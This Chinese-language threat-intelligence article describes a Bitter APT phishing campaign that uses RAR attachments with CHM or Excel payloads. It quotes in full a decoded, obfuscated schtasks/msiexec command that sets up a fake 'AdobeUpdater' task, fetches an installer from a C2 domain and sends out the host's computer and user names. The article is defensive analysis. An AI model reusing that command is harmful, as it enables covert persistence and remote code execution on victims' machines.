电子邮件上签名的名字是真实的，属于吉尔吉斯斯坦外交部的一名官员，表明 Bitter APT 对有助于增加其通信合法性的细节的关注。

敦促收件人下载电子邮件的 RAR 附件，该附件据称包含会议邀请卡，但实际上包含 Microsoft 编译的 HTML 帮助文件 (CHM) 或恶意 Excel 文档。

有效载荷

在大多数情况下，Bitter APT 使用 CHM 有效负载执行命令以在受感染系统上创建计划任务并下载下一阶段。

当 Excel 文档隐藏在下载的 RAR 附件中时，计划任务是通过利用打开恶意文档触发的较旧的公式编辑器漏洞来添加的。

Intezer 评论说，威胁行为者可能更喜欢 CHM 有效载荷，因为它们不需要目标使用易受攻击的 Microsoft Office 版本，由于其 LZX 压缩，可以绕过静态分析，并且需要最少的用户交互来操作。

如果使用 CHM 有效载荷，则第二阶段有效载荷是 MSI 或PowerShell 文件，如果使用 Excel 文档有效载荷，则第二阶段有效载荷是 EXE 文件。

为了逃避检测和暴露，第二阶段的有效载荷是空的。然而，当第一阶段的有效载荷将有关被破坏设备的信息发送到攻击者的命令和控制服务器时，它将确定它是否是一个有价值的目标并将实际的恶意软件传递到受感染的系统。

Intezer 的分析师无法检索到此活动中交付的任何实际有效负载，但假设它们可能包括键盘记录器、RAT（远程访问工具）和信息窃取器。

如果目标看起来足够有希望，这可能允许攻击者在决定是否用实际有效载荷换出空文件之前检查受感染机器的服务器日志，从而保护下一阶段的攻击。Bitter APT 似乎并没有太多改变他们的策略，因此我们可以假设有效负载将与2021 年观察到的类似，执行一个下载器模块，该模块可以与键盘记录器、远程访问工具、文件窃取器等插件一起使用，或浏览器凭据窃取程序。 

CHM 有效负载的第二个版本通过编码的 PowerShell 命令阶段抽象出相同的活动，进一步混淆活动，而不仅仅是简单的字符串连接。 

CHM 文件版本 2 中编码的 PowerShell 命令

解码后的命令如下：

"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart" /ft

很明显，C2 控制器也已更新，因为现在只有计算机名称被发送到 C2，而不是用户名。下一个版本的有趣之处在于它现在在打开时包含一张诱饵图片：

危险附件

其它阅读参考：

• https://www.bleepingcomputer.com/news/security/bitter-cyberspies-target-south-asian-govts-with-new-malware/

• https://www.bleepingcomputer.com/news/security/bitter-espionage-hackers-target-chinese-nuclear-energy-orgs/

• https://www.intezer.com/blog/research/phishing-campaign-targets-nuclear-energy-industry/